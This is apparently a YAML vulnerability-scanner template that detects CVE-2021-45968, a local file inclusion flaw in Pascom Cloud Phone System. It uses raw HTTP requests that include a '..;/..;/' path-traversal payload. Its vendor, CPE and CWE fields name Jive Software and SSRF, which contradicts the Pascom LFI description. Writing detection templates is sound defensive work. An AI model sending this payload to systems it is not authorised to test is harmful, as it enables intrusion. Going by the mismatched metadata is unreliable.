id: CVE-2021-45968

info:
  name: Pascom CPS  - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: |
    Pascom packaged with Cloud Phone System (CPS) versions before 7.20 contain a known local file inclusion vulnerability.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the Local File Inclusion vulnerability in Pascom CPS.
  reference:
    - https://kerbit.io/research/read/blog/4
    - https://www.pascom.net/doc/en/release-notes/
    - https://tutorialboy24.blogspot.com/2022/03/the-story-of-3-bugs-that-lead-to.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45968
    - https://jivesoftware.com/platform/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-45968
    cwe-id: CWE-918
    epss-score: 0.01828
    epss-percentile: 0.86896
    cpe: cpe:2.3:a:jivesoftware:jive:-:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: jivesoftware
    product: jive
  tags: cve,cve2021,pascom,lfi

http:
  - raw:
      - |
        GET /services/pluginscript/ HTTP/1.1
        Host: {{Hostname}}
      - | # Double parent to access CMS index
        GET /services/pluginscript/..;/..;/ HTTP/1.1
        Host: {{Hostname}}
      - | # Verifying CMS
        GET / HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_2 != status_code_1"
          - "contains(body_2, 'pascom GmbH & Co KG') || contains(body_3, 'pascom GmbH & Co KG')" # Verifying CMS
        condition: and

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